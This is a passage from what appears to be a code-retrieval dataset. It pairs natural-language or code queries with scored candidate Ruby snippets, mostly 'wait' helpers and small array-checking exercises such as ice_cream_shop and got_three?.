"title": "" }, { "docid": "95a086998accd5d92621e399f47eb9ea", "score": "0.5830596", "text": "def wait_for(wait_max: 3, step: 0.001, &block)\n stop_at = wait_max.seconds.from_now\n\n sleep step while !block.call && (@time = Time.now) < stop_at\n\n fail \"Timeout of #{wait_max} seconds exceeded!\" unless @time < stop_at\nend", "title": "" }, { "docid": "9905f4aa92f21ea397e269a5abcc158d", "score": "0.5821623", "text": "def wait\n @running.reset\n @waiting.set\n @running.wait\n end", "title": "" }, { "docid": "ddc23e249fc4dde8cedeee65f50875f2", "score": "0.58186543", "text": "def wait_until_ready\n # this method may be left unimplemented if that is applicable\n end", "title": "" }, { "docid": "d0a26a7242be17a6b2ab67d6a2709926", "score": "0.5814612", "text": "def wait(duration, value)\n for i in 0...duration\n @wait_time += 1 if value == false\n @wait_time2 += 1 if value\n break if i >= duration / 2\n end\n end", "title": "" }, { "docid": "d0a26a7242be17a6b2ab67d6a2709926", "score": "0.5814612", "text": "def wait(duration, value)\n for i in 0...duration\n @wait_time += 1 if value == false\n @wait_time2 += 1 if value\n break if i >= duration / 2\n end\n end", "title": "" }, { "docid": "5e5d76941c68c297d949373d5e321f3f", "score": "0.58100086", "text": "def patiently(seconds=Capybara.default_max_wait_time, &block)\n #puts \"Tried waiting\"\n old_wait_time = Capybara.default_max_wait_time\n # dont make nested wait_untils use up all the alloted time\n Capybara.default_max_wait_time = 0 # for we are a jealous gem\n if page.driver.wait?\n start_time = Time.now\n begin\n block.call\n rescue Exception => e\n raise e unless RETRY_ERRORS.include?(e.class.name)\n puts \"Failed: #{e.message}\" if SimpliTest.mode == 'DEBUG'\n wait_time = SimpliTest.config_settings ? SimpliTest.config_settings['MAX_WAIT_TIME'] : 5\n raise e if (Time.now - start_time) >= wait_time\n sleep(0.1)\n raise Capybara::FrozenInTime, \"time appears to be frozen, Capybara does not work with libraries which freeze time, consider using time travelling instead\" if Time.now == start_time\n puts \"Retrying...\" if SimpliTest.mode == 'DEBUG'\n retry\n end\n else\n block.call\n end\n ensure\n Capybara.default_max_wait_time = old_wait_time\n end", "title": "" }, { "docid": "2d53aee9a32c371abe4eff2694181a8c", "score": "0.58079416", "text": "def wait(timeout=10)\n Selenium::WebDriver::Wait.new(:timeout => timeout)\n end", "title": "" }, { "docid": "b1c1c1415854b1aa6b14cd3fb1c12260", "score": "0.57994205", "text": "def wait_until(timeout=self.class.default_timeout, cycle=1, fatigue=1.2, &block)\n waited = 0\n until block.call\n debug \"#{self} is waiting for resource (%5.2f/%2ds +%5.2f)...\"% [waited, timeout, cycle]\n sleep cycle\n waited += cycle\n cycle *= fatigue\n if waited > timeout\n raise WaitTimeoutError, \"Waiting for aws resources timed out after #{waited} seconds!\"\n end\n end\n end", "title": "" }, { "docid": "8b84d32154b914bf92df55e4273dc61e", "score": "0.5795728", "text": "def wait_until\n require \"timeout\"\n Timeout.timeout(Capybara.default_wait_time + 5) do\n sleep(0.1) until value = yield\n value\n end\n end", "title": "" }, { "docid": "2af0abf90c44a49e349f349a5795a93c", "score": "0.5791779", "text": "def wait_for_elements\n self.class.options[:wait_for_elements]\n end", "title": "" }, { "docid": "51ad61d439d72636b0e34f1aca0e5b01", "score": "0.5789726", "text": "def wait!\n now = Time.now.utc.to_i\n duration = (reset.to_i - now) + 1\n\n sleep duration if duration >= 0\n\n yield if block_given?\n\n duration\n end", "title": "" }, { "docid": "45be6a7a7a91d2339e9bfde625834020", "score": "0.5785071", "text": "def wait_condition_handle(name, &block)\n resource = WaitConditionHandle.new\n resource.evaluate &block\n add_resource name, resource\n end", "title": "" }, { "docid": "7328e911136c4090f279570eef5b4209", "score": "0.57844764", "text": "def quick_wait_params_info(event, p1, p1text, p1raw, p2, p2text, p2raw, p3, p3text, p3raw)\n def get_wait_stat_class_name(id) # Ermitteln WaitStat aus x. Position nach Class-ID\n return '' unless id\n id = id.to_i\n unless @@block_classes # Klassenvariable einmalig mit Daten befüllen wenn leer\n @@block_classes = {}\n sql_select_all('SELECT /* Panorama-Tool Ramm */ RowNum, class ClassName FROM v$WaitStat').each do |w|\n @@block_classes[w.rownum.to_i] = w.classname\n end\n end\n\n addition = ''\n\n if id > 19 # Undo-Segemnt mit in ID\n undo_segment = ((id-15)/2).to_i # ID = 2 * Undo-Segment + 15\n id = id - (undo_segment-1)*2 # Verbleibende ID 17, 18\n addition = \"Undo-Segment=#{undo_segment}\"\n end\n \"Block-Class=#{id} (#{@@block_classes[id]}) #{addition}\"\n end\n\n\n result = nil # Default\n\n if (event.include?('gc ') || event == 'buffer busy waits'\n ) && (p3text == 'id#' || p3text == 'class#')\n class_id = case p3text\n when 'id#' then p3 % 65536\n when 'class#' then p3\n else\n nil\n end\n result = get_wait_stat_class_name(class_id)\n end\n result\n end", "title": "" }, { "docid": "52493f550c135e483beb5df01df09ac1", "score": "0.57798404", "text": "def wait(duration)\n for i in 0...duration\n update_basic\n end\n end", "title": "" }, { "docid": "72831d5c78e11c4ecd51924876b6bf1d", "score": "0.5769377", "text": "def wait_condition(name, &block)\n resource = WaitCondition.new\n resource.evaluate &block\n\n if resource.handle.nil?\n handle_name = \"#{name}Handle\"\n\n if not resources.include? handle_name\n wait_condition_handle handle_name\n end\n\n resource.handle = handle_name\n end\n\n add_resource(name, resource)\n end", "title": "" }, { "docid": "718256979a355dd824b74d2dec9ceca6", "score": "0.5769314", "text": "def update_for_wait\n update_basic\n end", "title": "" }, { "docid": "cb944651a5b093dd8eb54f41564f0a35", "score": "0.57646966", "text": "def meta_dl_wait\n $meta_dl_wait_cb = Proc.new if block_given?\n if $metadata_dl_list.values.any? # still downloading\n EM.add_timer(1) { meta_dl_wait } # check again 1s later\n else\n if $meta_fail ### failed !!!!\n meta_fail\n else\n cb = $meta_dl_wait_cb\n $meta_dl_wait_cb = nil\n cb.call\n end\n end\nend", "title": "" }, { "docid": "2a994ec79d544d6c7149cb04b67084ee", "score": "0.5764254", "text": "def wait_async\n @wait_async = true\n end", "title": "" }, { "docid": "0b416266833148fe4f918ed940c704ec", "score": "0.5763442", "text": "def wait_for_page\n sleep 0.7\n end", "title": "" }, { "docid": "116ff82f37b3b99549660428021e77d9", "score": "0.575594", "text": "def wait_until\n Timeout.timeout(Capybara.default_wait_time) do\n loop until yield\n end\n end", "title": "" }, { "docid": "759dc0105431fc1a4d7246576564fcba", "score": "0.57488626", "text": "def wait_all\n @resources.each do |name,object|\n object.wait if object.respond_to? :wait\n end\n end", "title": "" }, { "docid": "907d37137c5d18bcb21c0cdbb5efcae5", "score": "0.5748233", "text": "def wait(frames)\n frames.times do\n wait_internal\n end\n end", "title": "" }, { "docid": "10fd9f26efb8dc159f300dd0070c3dce", "score": "0.574647", "text": "def wait\n @t.each{|t| t.join}\n end", "title": "" } ]
f210e755e518f57449e8ead176c234ee
puts threed([1, 2, 3, 4, 5, 6]) false puts threed([3, 2, 3]) false puts threed([3, 4, 3, 5, 3]) true puts threed([1, 2, 3, 3, 4, 5, 3, 3, 4]) false
[ { "docid": "701049d185d3e8d1fca6dc658f749b70", "score": "0.0", "text": "def same_first_last(list)\n (list.size).times do |i|\n if list.size == 0 \n return false\n end\n if list[0] == list[list.size - 1]\n return true\n end\n end\n return false\nend", "title": "" } ]
[ { "docid": "7372b4e64d940e51ce1d5a42fe6eca3f", "score": "0.6758623", "text": "def threed(list)\n count = 0\n list.each do |i|\n if i == 3\n count += 1\n end\n end\n\n (list.size - 1).times do |n|\n if list[n] == 3 && list[n + 1] == 3\n return false\n end\n end\n if count == 3\n return true\n end\nend", "title": "" }, { "docid": "988b33ec4dd8c3c24a322c72c6913674", "score": "0.6397513", "text": "def likes_food?(person_hash, passed_dish )\n favourite_dishes_array = person_hash[:favourites][:things_to_eat] \n\n for a_favourite_dish in favourite_dishes_array\n return true if a_favourite_dish == passed_dish\n end\n \n return false\n \nend", "title": "" }, { "docid": "db7dd5b03c0dd94151e79d5867b81eab", "score": "0.62375724", "text": "def adult_in_group?(people_1)\n if adult(people_1).length > 0\n return true\n else\n return false\n end\n \nend", "title": "" }, { "docid": "21e6bc32cf7c8f25515da47428449889", "score": "0.6225255", "text": "def repeated_jokes?\n jokes_told = []\n @performers.map do |performer|\n jokes_told << performer.jokes\n end\n if jokes_told.flatten.uniq.length != jokes_told.flatten.length\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "4003777d8dae2b75712c044b1e29850f", "score": "0.6200965", "text": "def weight_greater_than?(weight,pokemon_array)\n true_false = []\n pokemon_array.each do |monster_hash|\n monster_hash[:weight] > weight ? true_false << true : true_false << false\n end\n if true_false.include?(false)\n false\n else\n true\n end\nend", "title": "" }, { "docid": "d54130368826950cc4f938c3cecac5cd", "score": "0.61731213", "text": "def verify_santa( list, person, santa )\n list.each do |key, value|\n return false if key != person && value == [santa]\n end\n return true\nend", "title": "" }, { "docid": "20400d3f42dd2295c4588d233f380be8", "score": "0.6144419", "text": "def check_extinct(array,animal)\n extinct = false\n array.each do |ex_animal|\n if ex_animal == animal\n extinct = true\n end\n end\n extinct\nend", "title": "" }, { "docid": "b196bae20c638d3eaa56d382a6179e22", "score": "0.61182064", "text": "def cats_in_hats\n\n cats = (1..100).collect {false}\n (1..100).each do |rnd|\n i = rnd - 1\n while i < cats.length\n cats[i] = !cats[i]\n i += rnd\n end\n end\n cats_with_hats(cats)\nend", "title": "" }, { "docid": "284a3974680a4defebbfe6e677c83334", "score": "0.60656387", "text": "def can_you_give_me_a_treasure()\n return @hidden_treasures != []\n end", "title": "" }, { "docid": "d3534a70504f058326dc5e9d5f289183", "score": "0.6024191", "text": "def got_three?(arr)\n new_arr = []\n arr.each_cons(3) {|a| new_arr << a }\n is_it_true = new_arr.map {|x| x.uniq.count == 1 }\n is_it_true.include? (true)\nend", "title": "" }, { "docid": "869907608f8dfb3593dc03ceac05e71f", "score": "0.60089225", "text": "def everything_revealed?\n\t\thash_array.count {|hash| hash[:is_revealed?] == true} == hash_array.length ? true : false\n\tend", "title": "" }, { "docid": "18527a0da6acfe3200f22fb945aca5f9", "score": "0.5992656", "text": "def ques5(poke_arr)\n poke_arr.map do |item|\n if item[:weight] > 60\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "12aca384465f204d332789c9f7f7f7c3", "score": "0.5989071", "text": "def feast(beast, dish)\n return beast[0] == dish[0] && beast[beast.length-1] == dish[dish.length-1] ? true : false\nend", "title": "" }, { "docid": "60f18090596e12316f3396cf359dc671", "score": "0.5981601", "text": "def check_extinction(animal_array, new_animal)\r\n not_extinct = true\r\n animal_array.each do |animal, year| \r\n if animal == new_animal\r\n puts \"False, #{new_animal} is not extinct\"\r\n not_extinct = false\r\n end\r\n end\r\n if not_extinct \r\n puts \"True, #{new_animal} is extinct\" \r\n \tend\r\n \r\nend", "title": "" }, { "docid": "0d7881a8cadd4240319b4ba2fbbc0f35", "score": "0.5957563", "text": "def treed(list)\n count = 0\n list.each do |num|\n if num == 3\n count = count + 1\n end\n end\n if count == 3\n return true\n end\n return false\nend", "title": "" }, { "docid": "b3b483355dd9ee48df98e747af3e418e", "score": "0.59412134", "text": "def ice_cream_shop(flavors_array, favorite)\n return false if flavors_array.empty?\n return true if favorite == flavors_array.first\n ice_cream_shop(flavors_array[1..-1], favorite)\nend", "title": "" }, { "docid": "2416e601268d4f8fe459af406c667bc0", "score": "0.59186286", "text": "def is_straight?(hand)\n royal=[1,10,11,12,13]\n tmp_array=[]\n hand.each {|card| tmp_array << get_card_value(card)}\n if tmp_array.max - tmp_array.min == 4 || tmp_array.sort == royal\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "997a4338cf83332f27300424c3b359c6", "score": "0.5916117", "text": "def cats_in_hats\n # array of length 100, initial value as 'false'\n # iterate 100 times over the array, each time flipping nth cats' hat status\n # final array after 100 rounds with hat status\n # another array of cats with hat status 'true'\n\n cats_with_hats = Array.new # result with hat status 'true'\n cats = Array.new(100, false)\n\n (1..100).each do |rnd|\n i = rnd - 1\n while i < cats.length\n cats[i] = !cats[i]\n i += rnd\n end\n end\n cats.each_index {|i| cats_with_hats << i + 1 if cats[i]}\n cats_with_hats\nend", "title": "" }, { "docid": "7a96c2a8c60d9d2f9b41b01f54d8de3b", "score": "0.59155154", "text": "def got_three?(array)\n array_of_array = []\n \n array.each_cons 3 do |a, b, c|\n if a == b && b == c\n array_of_array << \"true\"\n else array_of_array << \"false\"\n end\n end\n if array_of_array.include?(\"true\")\n #turn output of got_three(array) contains 'true', then puts true\n puts true\n else puts false\n end\nend", "title": "" }, { "docid": "964f87fbcb160db587b4cbb1abd115b5", "score": "0.5915358", "text": "def four_of_a_kind?(hand)\n hand.each { |k, v| \n if v == 4\n return true\n end\n }\n\nend", "title": "" }, { "docid": "864d1a206a5f238a5da9b65f70b31268", "score": "0.5899567", "text": "def countSheeps array\n array.select{|x| x==true}.length\nend", "title": "" }, { "docid": "a5629fbc854ae34fa2ec9e0a182a3e0d", "score": "0.58945584", "text": "def three_of_a_kind?(hand)\n hand.each { |k, v| \n if v == 3\n return true\n end\n }\nend", "title": "" }, { "docid": "18dc3821b44c7f3460fe5374b399fc75", "score": "0.5888237", "text": "def i_hear_a_sick_sound(passengers_sounds)\n i = 0 \n while i < passengers_sounds.length do\n if (passengers_sounds[i] == \"coughing\" || passengers_sounds[i] == \"sneezing\")\n puts true\n return true\n end\n i += 1\n end\n puts false\n return false\nend", "title": "" }, { "docid": "aa5a3d2a379ee408253a179ae1f701c7", "score": "0.5883045", "text": "def busted?(cards)\n # The argument passed to the method is assigned to the cards variable.\n # The total method returns the sum of the cards in the array passed to the method.\n # If the conditional statement evaluates to true, the busted? method returns true.\n # Otherwise the busted? method returns false.\n total(cards) > HAND_TOTAL\nend", "title": "" }, { "docid": "1c7f1c8be2ce6b4cab8f4b0de68d3627", "score": "0.5878824", "text": "def ice_cream_shop(flav_arr, favorite)\n return false if flav_arr.empty?\n \n if flav_arr.first == favorite\n return true\n else\n ice_cream_shop(flav_arr[1..-1], favorite)\n end\n \nend", "title": "" }, { "docid": "7a74da186e07b797e37e7290c0dca486", "score": "0.58552915", "text": "def got_three?(threes)\n result = []\n threes.each_cons(3) do |a, b, c|\n return true if a == b && b == c\n end\n false\n# threes.detect{ |e| threes.count(e) > 2} ? true : false\nend", "title": "" }, { "docid": "c8c3ad3bf7a42af39d7994c21da45120", "score": "0.58538985", "text": "def weight_over(array)\n res = array.collect { |poke| poke[:weight] > 60 }\n res.length > 0 ? true : false\nend", "title": "" }, { "docid": "1da512a03487182ec1935f5c29479e93", "score": "0.5847826", "text": "def got_three?(array)\n p array\n until array[2].nil?\n p array\n return true if array[0..2].uniq.length == 1\n array.shift(1)\n p array\n end\n false \nend", "title": "" }, { "docid": "2d76671b208fe65143ad29e863ab9c34", "score": "0.5835963", "text": "def ice_cream_shop(flavors, favorite)\r\n return false if flavors.empty?\r\n return true if flavors.shift == favorite\r\n\r\n ice_cream_shop(flavors, favorite)\r\nend", "title": "" }, { "docid": "22e63bdcca796c6d8cf85741174291d6", "score": "0.581992", "text": "def mark_odds(numbers)\n arr = []\n numbers.each do |number|\n number % 2 == 1 ? arr << true : arr << false\n end\n arr\nend", "title": "" }, { "docid": "2f98c3681653ce23c6312951d349b60a", "score": "0.5810745", "text": "def long_planeteer_calls(array_of_words)\n i = 0 \n longer_than_four = []\n any_longer_four = false \n while i < array_of_words.length\n if array_of_words[i].length > 4 \n longer_than_four << true\n else\n longer_than_four << false \n end \n \n if longer_than_four.include?(true)\n any_longer_four = true \n else\n any_longer_four = false \n end\n i += 1 \nend \n return any_longer_four \nend", "title": "" }, { "docid": "4c4f93b88520dc3eb9cf45f18b21a6e8", "score": "0.58076644", "text": "def straight?\n @sorted_face_value_only_cards_array.each_cons(2).all? { |first_card, second_card| second_card == first_card + 1 } || @sorted_face_value_only_cards_array == [1, 2, 3, 4, 5]\n end", "title": "" }, { "docid": "f427fce36a253ba3ab87cf70d564af35", "score": "0.5805979", "text": "def test_return(arr)\n arr.each do |word|\n return true if word.size < 4\n end\n\n false\nend", "title": "" }, { "docid": "7e2b16a7d29cefbd3b86b0667570efba", "score": "0.57916725", "text": "def no_repeats(secret_array)\n\tnumbers_used = []\n\tsecret_array.each do |x|\n\t\tif numbers_used.include? x\n\t\t\treturn false\n\t\telse\n\t\t\tnumbers_used.push x\n\t\tend\n\tend\n\treturn true\nend", "title": "" }, { "docid": "41507ccef70fe7860e004e1f036f016a", "score": "0.57861155", "text": "def one_third\n [false, true, false].sample\nend", "title": "" }, { "docid": "99e1b84d8e6d55280e043319a441e8ec", "score": "0.578185", "text": "def long_planeteer_calls(array)\n p array.any? {|word| word.length > 4}\n \nend", "title": "" }, { "docid": "e4694ab0a132791f9e71f60223fdc27d", "score": "0.5768837", "text": "def pbCheckSpecies(array)\n for i in 0...array.length\n for j in i+1...array.length\n return false if array[i].species==array[j].species\n end\n end\n return true\n end", "title": "" }, { "docid": "5ec36750905d133a83cf35417d05ded0", "score": "0.57653284", "text": "def long_planeteer_calls(array)\n new_array = array.map {|name| name.length} \n new_array.include?(5) ? true : false\nend", "title": "" }, { "docid": "966dfe0ff1c42c47a23dc134fe550378", "score": "0.57610166", "text": "def check_food_liking( person_var, food_var )\n person_food_array = person_var[:favourites][:things_to_eat]\n bool_var = person_food_array.include?(food_var)\n return bool_var\nend", "title": "" }, { "docid": "34fe76525e520200dcdc5bb4ed10fb90", "score": "0.575408", "text": "def royal_flush?\n @faces - [\"Ace\",\"King\",\"Queen\",\"Jack\",\"10\"] == []\n end", "title": "" }, { "docid": "8bba0cc15ed2549eee70b8fa00d1d8e3", "score": "0.5753854", "text": "def got_three? array\n\tarray.each {|x| return true if (array.select {|y| x==y}.length) >=3}\n\tfalse\nend", "title": "" }, { "docid": "fb0da061620385c8a436c47448f4aad4", "score": "0.574793", "text": "def a_set?(three_cards)\n card_strings = []\n (0..2).each do |i|\n card_strings[i] = (three_cards[i])[4..10]\n three_cards[i] = (three_cards[i])[0..3]\n end\n bool = three_cards.transpose.all? { |feature| feature.length == 3 && feature.uniq.length != 2 }\n (0..2).each do |i|\n (three_cards[i])[4..10] = card_strings[i]\n end\n bool\n end", "title": "" }, { "docid": "a1386c8deee989ce21c43e233992e4a8", "score": "0.5746831", "text": "def fourof(array,hand_copy)\n i = 0\n for elements in array\n if array[i] == 4\n return true\n end\n i += 1\n end\n return false\n end", "title": "" }, { "docid": "64e177b0a90364b78a6b9b2d9a9b7de2", "score": "0.5736853", "text": "def hero(bullets, dragons)\n if dragons*2 <= bullets\n true\n else\n false\n end\nend", "title": "" }, { "docid": "6ff5defb7455f96e85ad909dd32a4060", "score": "0.5735943", "text": "def got_three? arr\n\nend", "title": "" }, { "docid": "bc0de2363a8d7f404b4373da3ff0ed6a", "score": "0.57354957", "text": "def can_train_footman?\n # binding.pry\n if (food < 2 || gold < 135)\n return false\n else\n return true\n end \n end", "title": "" }, { "docid": "80f7321f59c41b7736a85546806ec311", "score": "0.5718424", "text": "def check_pairs(mixed, swingers)\n swingers.each do |man,women|\n if mixed.include?([man,women])\n return true\n end\n end\nfalse\nend", "title": "" }, { "docid": "9e1ab0bebc0d1f820f4fc2567c818c4f", "score": "0.5717133", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.empty?\n el = flavors.shift\n return true if el == favorite\n ice_cream_shop(flavors, favorite)\nend", "title": "" }, { "docid": "97172984d01aecf1dde142419faad945", "score": "0.5715969", "text": "def wished?\n !wishes.empty?\n end", "title": "" }, { "docid": "d6c43af120e3cd46ab24da5c6fb6be3a", "score": "0.57109344", "text": "def all?(array)\nend", "title": "" }, { "docid": "d6c43af120e3cd46ab24da5c6fb6be3a", "score": "0.57109344", "text": "def all?(array)\nend", "title": "" }, { "docid": "d6c43af120e3cd46ab24da5c6fb6be3a", "score": "0.57109344", "text": "def all?(array)\nend", "title": "" }, { "docid": "422281d0a770f88d950e156cb0cd230f", "score": "0.5706536", "text": "def tell_truth?\n rand(100) >= 4\n end", "title": "" }, { "docid": "c8ec32100e29b6539a0029bc89f1bf29", "score": "0.5703174", "text": "def count_sheeps(array)\n array.count(true)\nend", "title": "" }, { "docid": "9c6746b723fd0bb43305404f9d2381f7", "score": "0.570029", "text": "def long_planeteer_calls(arr)\n if arr.length > 4 #the spec default has a mistake. the two example arrays should be opposite \n return false\n end\n true\nend", "title": "" }, { "docid": "e7b9663380c6fed55e7e20e24899b3cb", "score": "0.5696432", "text": "def can_train_footman?\n \tgold >= 135 && food >= 2\n\tend", "title": "" }, { "docid": "88e985615750ee65f611de0fd8be928d", "score": "0.5693344", "text": "def find_the_cheese(array)\n cheese_types = [\"cheddar\", \"gouda\", \"camembert\"]\n # array.include?(cheese_types)\n # if (cheese_types & array).find{|common| print \" #{common}\" } == true\n # else\n # print nil\n # end\n \n # print (cheese_types & array).find{|common| print \" #{common}\" }\n # return array.include?(cheese_types)\n\n \n array.find do |common|\n cheese_types.include?(common)\n \tend \n \n \nend", "title": "" }, { "docid": "6d41fbf7ab25e2323d03db8bce8f96c8", "score": "0.56931233", "text": "def bingo?(arr)\n arr.all?{|ele| ele == arr[0]}\nend", "title": "" }, { "docid": "68b2896d5531d895fcdb64d5fa45f6cb", "score": "0.5692982", "text": "def one_pair?\n cards.uniq(&:value).size == 4\n end", "title": "" }, { "docid": "4672289b4d3479aafdf9efdd8a59d14f", "score": "0.5691375", "text": "def reduce_to_all_true(array)\n i = 0\n while i < array.length do\n if !!(array[i]) == false\n return false\n end\n i += 1\n end\n return true\nend", "title": "" }, { "docid": "eefaa2c52e0d08693a4838e0cc0950f3", "score": "0.568915", "text": "def find_the_cheese(cheddar_cheese)\n \n cheese_detected = cheddar_cheese.detect do |array_objects| \n [\"cheddar\", \"gouda\", \"camembert\"].include?(array_objects)\n end \n cheese_detected\nend", "title": "" }, { "docid": "24dbda184661235a0f5f65cef43e108b", "score": "0.5687086", "text": "def repeated_jokes?\n specific_jokes = @performers.map(&:jokes_told).flatten.uniq\n all_jokes = @performers.map(&:jokes_told).flatten\n specific_jokes != all_jokes\n end", "title": "" }, { "docid": "6bad5e0c5b61f078422e25d7d21e158d", "score": "0.5686519", "text": "def featured?(number)\n array_number = number.to_s.split('')\n\n number % 7 == 0 &&\n number.odd? &&\n array_number.uniq == array_number\nend", "title": "" }, { "docid": "e5d7050728e770e0601cdcfa839c49fe", "score": "0.56857055", "text": "def long_planeteer_calls(array)\n array.any? { |word| word.length > 4 }\nend", "title": "" }, { "docid": "084331d8a0c16963b2a51e65bad214d7", "score": "0.56802976", "text": "def long_planeteer_calls(array)\n array.any? { |word| word.length > 4}\nend", "title": "" }, { "docid": "4b0eb0c9becc2f67300e7dcfbcfcc6ce", "score": "0.5679514", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.length == 0\n return true if flavors.last == favorite\n\n ice_cream_shop(flavors[0...-1], favorite)\n\nend", "title": "" }, { "docid": "49670c35342fa1057bb02eaa5c96232f", "score": "0.5677425", "text": "def long_planeteer_calls(array)\n (array).any? { |word| word.length > 4 }\nend", "title": "" }, { "docid": "3a6e42f8b21a876a43471b6f678b8130", "score": "0.56762576", "text": "def win?\n\n return threes(1,2,3) ||\n threes(4,5,6) ||\n threes(7,8,9) ||\n threes(1,4,7) ||\n threes(2,5,8) ||\n threes(3,6,9) ||\n threes(1,5,9) ||\n threes(7,5,3)\n end", "title": "" }, { "docid": "1194894a952c1f366b23801ded8d2b18", "score": "0.56751096", "text": "def test_everyones_favourite_food\n all_food = [\"charcuterie\", \"soup\", \"spinach\", \"soup\",\"bread\", \"ratatouille\", \"stew\", \"spaghetti\", \"spinach\", \"spinach\"]\n assert_equal(all_food, everyones_favourite_food(@people))\n end", "title": "" }, { "docid": "9db88861119ea3a01364453b16b972b4", "score": "0.5674124", "text": "def hungry?\r\n @foodInBelly <= 3\r\n end", "title": "" }, { "docid": "b2d661d4f22cebd1ab39523f5dee18ae", "score": "0.56734747", "text": "def can_you_give_me_a_treasure #VIGILARLA\n \n if(!@hidden_treasures.isEmpty)\n true\n else\n false\n end\n end", "title": "" }, { "docid": "2f610942978f5d674d05ab7cdf53569c", "score": "0.56624496", "text": "def all_odd?(array)\n\t\n\tif array.all? {|i| i % 2 != 0} \n\t puts \"true\"\n else\n \tputs \"false\"\n end\nend", "title": "" }, { "docid": "27f306b4140b869663c0860468983e44", "score": "0.5660519", "text": "def got_three? array\n\tcount = 1\n\telement = nil\n\tarray.each do |item|\n\t\tif item == element && count == 2\n\t\t\treturn true\n\t\telsif item == element\n\t\t\tcount += 1\n\t\t\telement = item\n\t\telse\n\t\t\tcount = 1\n\t\t\telement = item\n\t\tend\n\tend\n\tfalse\nend", "title": "" }, { "docid": "e7e99f59add5db58de0c80462c79e6e6", "score": "0.565658", "text": "def hero(bullets, dragons)\n return bullets >= 2 * dragons ? true : false\nend", "title": "" }, { "docid": "e20ff367a0f2ab8557fa1bb62b2cfd58", "score": "0.56502134", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.empty?\n return true if flavors.last == favorite\n ice_cream_shop(flavors[0...-1], favorite)\n\nend", "title": "" }, { "docid": "66147b4e310aef47612d7abcc001e5ea", "score": "0.56494915", "text": "def sluggish_octopus(fish_arr)\n fish_arr.each do |fish|\n return fish if fish_arr.all? { |other_fish| fish.length >= other_fish.length }\n end\nend", "title": "" }, { "docid": "e7c70511bce644c21ed0f11fe6966dde", "score": "0.56473035", "text": "def check_array(nums)\n noThree = true, noFive = true;\n i = 0;\n while i < nums.length && (noThree || noFive)\n if(nums[i] == 3)\n noThree = false\n elsif(nums[i] == 5)\n noFive = false\n end\n i = i + 1\n end\n return (noThree || noFive)\n end", "title": "" }, { "docid": "d1e4b4e82e8a523e9edce2e3ed981011", "score": "0.5646508", "text": "def breed_like_rats\n index = 0\n while index < @population.size / 2 do\n # elitism: the fit breed with each other\n # the less fit breed with each other\n breed(index, index+1)\n index += 2\n end\n end", "title": "" }, { "docid": "3ef0ce40f0d7864f0850c5f04e75eafa", "score": "0.56413347", "text": "def long_planeteer_calls(array)\n array.any?{ |elem| elem.length > 4 }\nend", "title": "" }, { "docid": "5d2eecb1a2afa332a465fcbf5617dff1", "score": "0.56402963", "text": "def have_three( ary )\nend", "title": "" }, { "docid": "d3db3860366211c28dc171fa02c38438", "score": "0.5639143", "text": "def check_royal(array, hand_copy)\n #Check if the numbers are in sequence using the array of counter\n i = 0\n while i < 5 do\n if array[i] != 1\n return false\n else \n i += 1\n end\n end\n if check_flush(hand_copy)\n return true\n end\n end", "title": "" }, { "docid": "35be97563714db56f001d9cc843dbefb", "score": "0.56382227", "text": "def likes_food(person, food)\n for individual_food in person[:favourites][:things_to_eat]\n if food == individual_food\n return true\n end\n end\nend", "title": "" }, { "docid": "a4b64987470815074cec4ca9f0eef3aa", "score": "0.5635119", "text": "def balance(list)\n if list.size % 2 == 1 \n return false\n elsif list.size % 2 == 0\n return true\n end\nend", "title": "" }, { "docid": "755271d605631b3f6e9917d76f39e5ac", "score": "0.56313086", "text": "def is_monotone(heights)\n heights == heights.sort\nend", "title": "" }, { "docid": "72733d67c6d6477f97c5e8091a3b9292", "score": "0.5630908", "text": "def long_planeteer_calls(array)\n array.any?{|i| i.length > 4}\nend", "title": "" }, { "docid": "3e8054e583082873c00ff84a5a276bd4", "score": "0.56306064", "text": "def pbCheckSpecies(array) # Unused\n for i in 0...array.length\n for j in i+1...array.length\n return false if array[i].species==array[j].species\n end\n end\n return true\n end", "title": "" }, { "docid": "264896b31b14c7bd4b04696ce644ba3b", "score": "0.5629436", "text": "def got_three?(array)\n\tresult = []\n\tarray.each_cons(3){|a, b, c| return true if a == b && a == c && b === c}\nend", "title": "" }, { "docid": "d4dc3e1c09fb3df90c60cec75d90bc6a", "score": "0.5627477", "text": "def countSheeps array\n array.count(true)\nend", "title": "" }, { "docid": "6e1818b1dd838480d9d9642830ab731b", "score": "0.5626839", "text": "def hero(bullets, dragons)\r\n return bullets >= dragons * 2\r\nend", "title": "" }, { "docid": "762d2ee5b3aaf1180e74e5f5201ebf1f", "score": "0.5624273", "text": "def full_house?(hand)\n groups = hand.group_by {|card| card}\n return false unless groups.keys.size == 2\n groups.any? {|key, val| val.size == 3}\nend", "title": "" }, { "docid": "3246b705d56d4ae87e422ce8f5cbccf6", "score": "0.5621421", "text": "def is_kate_wonderful?\n #kate is the most wonderfulist => true\n true\n end", "title": "" }, { "docid": "d6e75369291d00822d0eeedb99364d74", "score": "0.5619065", "text": "def long_planeteer_calls(array)\n array.any? {|word| word.length > 4 }\nend", "title": "" }, { "docid": "fcdb82ac49f7829e296a68ce0aef9492", "score": "0.5618886", "text": "def three_cards?\n @gamer.given_cards.size == 3 || @dealer.given_cards.size == 3\n end", "title": "" }, { "docid": "897eafc23d37ea24114a4dada1eef344", "score": "0.56117415", "text": "def ice_cream_shop(flavors, favorite)\n return false if flavors.length == 0 || flavors.length == 1 && flavors[0] != favorite \n return true if favorite == flavors[-1]\n ice_cream_shop(flavors[(0..-2)], favorite) \n # false\nend", "title": "" }, { "docid": "e7c9fcba6371364e6f1b69b32d700956", "score": "0.56091404", "text": "def long_planeteer_calls(array)\n array.any? do |word|\n word.length > 4\n end\nend", "title": "" }, { "docid": "486c0a1c2b7b18b3497c66e0e3024299", "score": "0.5608559", "text": "def count_sheeps(array)\n return 0 if array.empty?\n\n array.select { |sheep| sheep == true }.count\nend", "title": "" }, { "docid": "7a8be7a563ee9b7ee187b9057418d480", "score": "0.56077045", "text": "def long_planeteer_calls(array)\n array.any? {|word| word.length > 4}\nend", "title": "" }, { "docid": "da371a3930127e4d347640a307ad43e7", "score": "0.5602007", "text": "def ice_cream_shop(flavors, favorite)\n # return false if flavors[0] != favorite && flavors.length == 1\n return false if flavors.length == 0\n return true if flavors.first == favorite\n\n result = 